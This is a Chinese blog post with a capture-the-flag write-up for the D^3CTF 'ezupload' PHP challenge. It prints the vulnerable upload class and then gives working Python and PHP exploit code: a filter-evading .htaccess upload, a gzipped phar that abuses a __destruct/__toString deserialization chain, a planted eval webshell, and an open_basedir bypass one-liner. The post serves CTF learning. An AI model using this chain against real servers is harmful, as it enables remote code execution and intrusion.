美文网首页
[D^3CTF]EZupload WP

[D^3CTF]EZupload WP

作者: Err0rzz | 来源:发表于2019-12-23 16:13 被阅读0次

    又是看官方wp复现的一篇二手文章

    web

    ezupload

      <?php
        class dir
        {
            public $userdir;
            public $url;
            public $filename;
            public function __construct($url, $filename)
            {
                $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
                $this->url = $url;
                $this->filename  =  $filename;
                if (!file_exists($this->userdir)) {
                    mkdir($this->userdir, 0777, true);
                }
            }
            public function checkdir()
            {
                if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
                    die('hacker!!!');
                }
            }
            public function checkurl()
            {
                $r = parse_url($this->url);
                if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
                    die('hacker!!!');
                }
            }
            public function checkext()
            {
                if (stristr($this->filename, '..')) {
                    die('hacker!!!');
                }
                if (stristr($this->filename, '/')) {
                    die('hacker!!!');
                }
                $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
                if (preg_match("/ph/i", $ext)) {
                    die('hacker!!!');
                }
            }
            public function upload()
            {
                $this->checkdir();
                $this->checkurl();
                $this->checkext();
                $content = file_get_contents($this->url, NULL, NULL, 0, 2048);
                if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
                    die('hacker!!!');
                }
                file_put_contents($this->userdir . "/" . $this->filename, $content);
            }
            public function remove()
            {
                $this->checkdir();
                $this->checkext();
                if (file_exists($this->userdir . "/" . $this->filename)) {
                    unlink($this->userdir . "/" . $this->filename);
                }
            }
            public function count($dir)
            {
                if ($dir === '') {
                    $num = count(scandir($this->userdir)) - 2;
                } else {
                    $num = count(scandir($dir)) - 2;
                }
                if ($num > 0) {
                    return "you have $num files";
                } else {
                    return "you don't have file";
                }
            }
            public function __toString()
            {
                return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
            }
            public function __destruct()
            {
                $string = "your file in : " . $this->userdir;
                file_put_contents($this->filename . ".txt", $string);
                echo $string;
            }
        }
    
        if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {
            highlight_file(__FILE__);
            die();
        }
    
        $dir = new dir($_POST['url'], $_POST['filename']);
        if ($_POST['action'] === "upload") {
            $dir->upload();
        } elseif ($_POST['action'] === "remove") {
            $dir->remove();
        } elseif ($_POST['action'] === "count") {
            if (!isset($_POST['dir'])) {
                echo $dir->count('');
            } else {
                echo $dir->count($_POST['dir']);
            }
        }
    

    这题上传文件是通过post传递urlfilenameaction三个参数实现的,其中url为文件的内容,filename为文件名。

    然后又是那个老问题,没有解析点,所以还是靠.htaccess或者.user.ini解决。
    但是在checkurl()以及upload()中会检查文件内容,所以.user.ini是没法用了(auto_prepend_file、auto_append_file),.htaccessapplication/x-httpd-php也没法用了。

            public function checkurl()
            {
              ...
                if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
                    die('hacker1111!!!');
            ...
       public function upload()
            {
              ...
                if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
                    die('hacker2222!!!');
                }
              ...
    

    所以应该是一个新的考点,htaccessaddhandler不止application/x-httpd-php,还有比如说php7-scriptphp5-script等。

    所以上传一个.htaccess

    import requests
    from requests_toolbelt import MultipartEncoder
    
    url = 'http://localhost/ezupload.php'
    m = MultipartEncoder(
        fields={'filename': '.htaccess', 'action': 'upload',
                'url': 'data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0'}
        )
    
    r = requests.post(url=url, data=m,
                      headers={'Content-Type': m.content_type})
    print r.text
    

    此时文件内容为AddHandler php7-script .txt。这为什么可以绕过检测呢?
    主要是checkurl()是直接检测变量url的内容,此时url的值为base64加密过的,所以绕过checkurl()。在upload()中读到的真实的内容,可是又因为upload()中并没有检测关键字php,所以AddHandler php7-script .txt成功绕过。

    接着上传shell,但是upload()中将php尖括号什么都过滤了,短标签也没法用。所以考虑一下phar反序列化+压缩试一下绕过。

    考虑一下如何构造phar文件,首先找到触发点。在upload()中有个文件操作函数file_put_contents($this->userdir . "/" . $this->filename, $content);应该能完成phar反序列化。因此我们的反序列化内容应该是通过url变量进去,然后在上面的$content中触发。
    然后是构造哪些内容。看到有两个魔术函数

            public function __toString()
            {
                return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
            }
            public function __destruct()
            {
                $string = "your file in : " . $this->userdir;
                file_put_contents($this->filename . ".txt", $string);
                echo $string;
            }
    

    其中_toString可以输出_DIR_,而_destruct可以用来写shell
    所以我们先来看一下当前路径有什么文件,phar文件如下生成:

    <?php
    class dir{
        public $userdir;
        public $url;
        public $filename;
    }
    $b = new dir();
    $a = new dir("url", "filename");
    $a->filename = 'upload/123/test';
    $a->userdir = $b;
    
    @unlink('vul.phar');
    $phar = new Phar("vul.phar");
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
    $phar->setMetadata($a);
    $phar->stopBuffering();
    @rename('vul.phar','1.jpg')
    ?>
    

    上传代码如:

    import requests
    from requests_toolbelt import MultipartEncoder
    import gzip
    import base64
    import urllib
    
    url = 'http://c5f39613-77b8-4cd3-a6f4-fb5ce8770876.node3.buuoj.cn'
    
    def upload():
        f_in = open("1.jpg", "rb")
        f_out = gzip.open("1.jpg.gz", "wb")
        f_out.writelines(f_in)
        f_out.close()
        f_in.close()
    
        f = open('1.jpg.gz', 'rb')
        dd = base64.b64encode(f.read())
    
        m = MultipartEncoder(
            fields={'filename': 'vul.phar.gz', 'action': 'upload',
                    'url': 'data:image/png;base64,%s' % (dd)}
            )
    
    
        r = requests.post(url=url, data=m,
                        headers={'Content-Type': m.content_type})
        print r.text
    def check():
        dd = 'phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.phar.gz/1.jpg'
        data = {'filename': 'zzz.txt', 'action': 'upload', 'url': dd }
        r = requests.post(url=url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        print r.text
    
    upload()
    check()
    

    此时整个代码的流程:

    1. index.php会生成一个dir类(不妨记为$base),url=phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.gz.rar/1.jpg以及filename=la.txt
    $dir = new dir($_POST['url'], $_POST['filename']);
    
    1. 代码运行到upload()下的file_get_contents函数时,触发反序列化
    $content = file_get_contents($this->url, NULL, NULL, 0, 2048);
    
    1. 反序列化产生了一个dir类的对象$a,各参数如下:
    $b = new dir();
    $a = new dir();
    $a->filename = 'upload/837ec5754f503cfaaee0929fd48974e7/test';
    $a->userdir = $b;
    
    1. $a并没有执行任何函数,所以直接就来到了_destruct
    public function __destruct()
            {
                $string = "your file in : " . $this->userdir;
                file_put_contents($this->filename . ".txt", $string);
                echo $string;
            }
    
    1. 在执行$string = "your file in : " . $this->userdir;的时候会将$a->userdir也就是$b强制转化为字符串,此时触发$b->__toString()
    public function __toString()
            {
                return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
            }
    
    1. $b->toString()返回了__DIR__/$b->userdir下所有文件,因为此时$b->userdir=null,所以返回了网站根目录下所有文件。
    2. 此时$b也走到了__destruct打印出your file in : $b->userdir,也就是your file in :
    3. 然后回到$a->__destruct打印出网站根目录下所有文件
    4. 此时运行完$base->upload()剩下的代码,$base也走到了__distruct打印出your file in : upload/33c6f8457bd77fce0b109b4554e1a95c
    这就是以上的一整条链,但是我没搞懂的是,为什么打印结果和我的推测是相反的顺序,我也懒得去调试了。。

    然后看一下网站根目录是在哪个路径下,根据上述步骤的第六步,只需要改一下$b->userdir='../'即可

    接下来是写shell,刚才已经弄明白了整条链,现在也差不多,只需要利用__destruct()shell写入文件,代码如下:
    <?php
    class dir{
        public $userdir;
        public $url;
        public $filename;
    }
    
    $a = new dir("url", "filename");
    $a->filename = '/var/www/html/2c75cf2681788ada/upload/33c6f8457bd77fce0b109b4554e1a95c/zz';
    $a->userdir = '<?php eval($_REQUEST[122]); phpinfo();';
    
    @unlink('vul.phar');
    $phar = new Phar("vul.phar");
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
    $phar->setMetadata($a);
    $phar->stopBuffering();
    @rename('vul.phar','1.jpg')
    ?>
    

    直接利用$a__destruct来完成写入

    public function __destruct()
            {
                $string = "your file in : " . $this->userdir;
                file_put_contents($this->filename . ".txt", $string);
                echo $string;
            }
    

    然后访问zz.txt即可


    发现open_basedir=/var/www/html,绕过
    ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));
    

    坑点

    我真佛了。。buuoj上那个目录竟然会定时更新,我一开始得到的目录,然后后面用这个目录一直失败,后来发现环境竟然会更新,所以又需要从上传.htaccess,获取目录,上传shell重新再走一遍。本地打通了,结果远程一直打不通,头发都抓掉了,浪费了我的一天。。

    未完待续

    相关文章

      网友评论

          本文标题:[D^3CTF]EZupload WP

          本文链接:https://www.haomeiwen.com/subject/dtkcnctx.html